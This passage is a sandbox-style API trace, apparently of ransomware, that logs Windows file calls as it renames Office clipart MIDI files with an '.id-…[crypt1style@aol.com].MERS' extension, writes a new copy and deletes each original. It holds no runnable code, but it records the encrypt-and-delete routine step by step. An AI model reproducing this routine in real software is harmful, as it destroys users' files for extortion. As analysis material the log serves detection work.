lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0266.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63 [0266.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63 [0266.097] lstrlenW (lpString=".doc") returned 4 [0266.097] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0266.097] lstrlenW (lpString=".docx") returned 5 [0266.097] lstrcmpiW (lpString1=".docx", lpString2="8.MID") returned -1 [0266.097] lstrlenW (lpString=".pdf") returned 4 [0266.097] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0266.097] lstrlenW (lpString=".xls") returned 4 [0266.097] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0266.097] lstrlenW (lpString=".xlsx") returned 5 [0266.097] lstrcmpiW (lpString1=".xlsx", lpString2="8.MID") returned -1 [0266.097] lstrlenW (lpString=".ppt") returned 4 [0266.097] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0266.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63 [0266.097] lstrlenW (lpString=".zip") returned 4 [0266.097] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0266.097] lstrlenW (lpString=".rar") returned 4 [0266.097] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0266.097] lstrlenW (lpString=".bz2") returned 4 [0266.097] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0266.097] lstrlenW (lpString=".7z") returned 3 [0266.097] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0266.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63 [0266.097] lstrlenW (lpString=".dbf") returned 4 [0266.097] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0266.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63 [0266.097] lstrlenW (lpString=".1cd") returned 4 [0266.097] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0266.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63 [0266.097] lstrlenW (lpString=".jpg") returned 4 [0266.097] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0266.098] lstrcmpiW (lpString1=".MID", lpString2=".MERS") returned 1 [0266.098] lstrlenW (lpString="PARNT_10.MID") returned 12 [0266.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_10.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0266.098] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=5393) returned 1 [0266.098] CloseHandle (hObject=0x3a0) returned 1 [0266.098] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_10.mid")) returned 0x20 [0266.098] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_10.mid.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0266.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_10.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0266.098] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0266.098] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0266.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_10.mid.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0266.099] GetLastError () returned 0x0 [0266.099] ReadFile (in: hFile=0x3a0, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x2d2fed4*=0x1511, lpOverlapped=0x0) returned 1 [0266.215] WriteFile (in: hFile=0x3bc, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0x1520, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x2d2fc9c*=0x1520, lpOverlapped=0x0) returned 1 [0266.272] ReadFile (in: hFile=0x3a0, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0266.273] WriteFile (in: hFile=0x3bc, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xec, lpOverlapped=0x0) returned 1 [0266.273] SetEndOfFile (hFile=0x3bc) returned 1 [0266.396] CloseHandle (hObject=0x3bc) returned 1 [0266.488] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0266.488] SetEndOfFile (hFile=0x3a0) returned 1 [0266.716] CloseHandle (hObject=0x3a0) returned 1 [0266.716] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0266.734] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_10.mid")) returned 1 [0266.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63 [0266.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63 [0266.743] lstrlenW (lpString=".doc") returned 4 [0266.743] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0266.743] lstrlenW (lpString=".docx") returned 5 [0266.743] lstrcmpiW (lpString1=".docx", lpString2="0.MID") returned -1 [0266.743] lstrlenW (lpString=".pdf") returned 4 [0266.743] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0266.743] lstrlenW (lpString=".xls") returned 4 [0266.743] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0266.743] lstrlenW (lpString=".xlsx") returned 5 [0266.743] lstrcmpiW (lpString1=".xlsx", lpString2="0.MID") returned -1 [0266.743] lstrlenW (lpString=".ppt") returned 4 [0266.743] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0266.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63 [0266.743] lstrlenW (lpString=".zip") returned 4 [0266.743] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0266.743] lstrlenW (lpString=".rar") returned 4 [0266.743] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0266.743] lstrlenW (lpString=".bz2") returned 4 [0266.743] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0266.743] lstrlenW (lpString=".7z") returned 3 [0266.743] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0266.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63 [0266.743] lstrlenW (lpString=".dbf") returned 4 [0266.743] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0266.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63 [0266.743] lstrlenW (lpString=".1cd") returned 4 [0266.743] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0266.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63 [0266.743] lstrlenW (lpString=".jpg") returned 4 [0266.743] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0266.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63 [0266.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63 [0266.744] lstrlenW (lpString=".doc") returned 4 [0266.744] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0266.744] lstrlenW (lpString=".docx") returned 5 [0266.744] lstrcmpiW (lpString1=".docx", lpString2="0.MID") returned -1 [0266.744] lstrlenW (lpString=".pdf") returned 4 [0266.744] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0266.744] lstrlenW (lpString=".xls") returned 4 [0266.744] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0266.744] lstrlenW (lpString=".xlsx") returned 5 [0266.744] lstrcmpiW (lpString1=".xlsx", lpString2="0.MID") returned -1 [0266.744] lstrlenW (lpString=".ppt") returned 4 [0266.744] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0266.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63 [0266.744] lstrlenW (lpString=".zip") returned 4 [0266.744] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0266.744] lstrlenW (lpString=".rar") returned 4 [0266.744] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0266.744] lstrlenW (lpString=".bz2") returned 4 [0266.744] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0266.744] lstrlenW (lpString=".7z") returned 3 [0266.744] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0266.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63 [0266.744] lstrlenW (lpString=".dbf") returned 4 [0266.744] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0266.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63 [0266.744] lstrlenW (lpString=".1cd") returned 4 [0266.744] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0266.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63 [0266.744] lstrlenW (lpString=".jpg") returned 4 [0266.744] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0266.744] lstrcmpiW (lpString1=".MID", lpString2=".MERS") returned 1 [0266.745] lstrlenW (lpString="SAFRI_01.MID") returned 12 [0266.745] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\safri_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0266.778] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=10122) returned 1 [0266.778] CloseHandle (hObject=0x3a0) returned 1 [0266.778] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\safri_01.mid")) returned 0x20 [0266.873] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\safri_01.mid.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0266.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\safri_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0266.876] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0266.876] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0266.876] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\safri_01.mid.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0266.876] GetLastError () returned 0x0 [0266.876] ReadFile (in: hFile=0x3d4, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x2d2fed4*=0x278a, lpOverlapped=0x0) returned 1 [0266.959] WriteFile (in: hFile=0x3c4, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0x2790, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x2d2fc9c*=0x2790, lpOverlapped=0x0) returned 1 [0266.960] ReadFile (in: hFile=0x3d4, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0266.960] WriteFile (in: hFile=0x3c4, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xec, lpOverlapped=0x0) returned 1 [0266.960] SetEndOfFile (hFile=0x3c4) returned 1 [0266.960] CloseHandle (hObject=0x3c4) returned 1 [0266.960] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0266.960] SetEndOfFile (hFile=0x3d4) returned 1 [0266.962] CloseHandle (hObject=0x3d4) returned 1 [0266.962] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0266.962] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\safri_01.mid")) returned 1 [0266.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 63 [0266.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 63 [0266.962] lstrlenW (lpString=".doc") returned 4 [0266.962] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0266.963] lstrlenW (lpString=".docx") returned 5 [0266.963] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0266.963] lstrlenW (lpString=".pdf") returned 4 [0266.963] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0266.963] lstrlenW (lpString=".xls") returned 4 [0266.963] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0266.963] lstrlenW (lpString=".xlsx") returned 5 [0266.963] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0266.963] lstrlenW (lpString=".ppt") returned 4 [0266.963] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0266.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 63 [0266.963] lstrlenW (lpString=".zip") returned 4 [0266.963] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0266.963] lstrlenW (lpString=".rar") returned 4 [0266.963] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0266.963] lstrlenW (lpString=".bz2") returned 4 [0266.963] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0266.963] lstrlenW (lpString=".7z") returned 3 [0266.963] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0266.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 63 [0266.963] lstrlenW (lpString=".dbf") returned 4 [0266.963] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0266.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 63 [0266.963] lstrlenW (lpString=".1cd") returned 4 [0266.963] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0266.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 63 [0266.963] lstrlenW (lpString=".jpg") returned 4 [0266.963] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0266.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 63 [0266.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 63 [0266.963] lstrlenW (lpString=".doc") returned 4 [0266.963] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0266.963] lstrlenW (lpString=".docx") returned 5 [0266.963] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0266.964] lstrlenW (lpString=".pdf") returned 4 [0266.964] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0266.964] lstrlenW (lpString=".xls") returned 4 [0266.964] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0266.964] lstrlenW (lpString=".xlsx") returned 5 [0266.964] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0266.964] lstrlenW (lpString=".ppt") returned 4 [0266.964] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0266.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 63 [0266.964] lstrlenW (lpString=".zip") returned 4 [0266.964] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0266.964] lstrlenW (lpString=".rar") returned 4 [0266.964] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0266.964] lstrlenW (lpString=".bz2") returned 4 [0266.964] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0266.964] lstrlenW (lpString=".7z") returned 3 [0266.964] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0266.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 63 [0266.964] lstrlenW (lpString=".dbf") returned 4 [0266.964] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0266.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 63 [0266.964] lstrlenW (lpString=".1cd") returned 4 [0266.964] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0266.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 63 [0266.964] lstrlenW (lpString=".jpg") returned 4 [0266.964] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0266.964] lstrcmpiW (lpString1=".MID", lpString2=".MERS") returned 1 [0266.964] lstrlenW (lpString="SWEST_01.MID") returned 12 [0266.964] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\swest_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0266.987] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=8501) returned 1 [0266.987] CloseHandle (hObject=0x3b4) returned 1 [0266.987] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\swest_01.mid")) returned 0x20 [0266.992] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\swest_01.mid.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0266.992] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\swest_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0266.992] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0266.992] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0266.992] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\swest_01.mid.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0266.992] GetLastError () returned 0x0 [0266.992] ReadFile (in: hFile=0x384, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x2d2fed4*=0x2135, lpOverlapped=0x0) returned 1 [0267.088] WriteFile (in: hFile=0x3b8, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0x2140, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x2d2fc9c*=0x2140, lpOverlapped=0x0) returned 1 [0267.245] ReadFile (in: hFile=0x384, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0267.245] WriteFile (in: hFile=0x3b8, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xec, lpOverlapped=0x0) returned 1 [0267.245] SetEndOfFile (hFile=0x3b8) returned 1 [0267.846] CloseHandle (hObject=0x3b8) returned 1 [0267.974] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0267.974] SetEndOfFile (hFile=0x384) returned 1 [0268.137] CloseHandle (hObject=0x384) returned 1 [0268.137] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0268.140] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\swest_01.mid")) returned 1 [0268.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 63 [0268.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 63 [0268.148] lstrlenW (lpString=".doc") returned 4 [0268.148] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0268.148] lstrlenW (lpString=".docx") returned 5 [0268.148] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0268.148] lstrlenW (lpString=".pdf") returned 4 [0268.148] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0268.148] lstrlenW (lpString=".xls") returned 4 [0268.148] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0268.148] lstrlenW (lpString=".xlsx") returned 5 [0268.148] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0268.149] lstrlenW (lpString=".ppt") returned 4 [0268.149] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0268.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 63 [0268.149] lstrlenW (lpString=".zip") returned 4 [0268.149] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0268.149] lstrlenW (lpString=".rar") returned 4 [0268.149] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0268.149] lstrlenW (lpString=".bz2") returned 4 [0268.149] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0268.149] lstrlenW (lpString=".7z") returned 3 [0268.149] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0268.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 63 [0268.149] lstrlenW (lpString=".dbf") returned 4 [0268.149] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0268.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 63 [0268.149] lstrlenW (lpString=".1cd") returned 4 [0268.149] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0268.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 63 [0268.149] lstrlenW (lpString=".jpg") returned 4 [0268.149] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0268.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 63 [0268.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 63 [0268.149] lstrlenW (lpString=".doc") returned 4 [0268.149] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0268.149] lstrlenW (lpString=".docx") returned 5 [0268.149] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0268.149] lstrlenW (lpString=".pdf") returned 4 [0268.149] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0268.149] lstrlenW (lpString=".xls") returned 4 [0268.149] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0268.149] lstrlenW 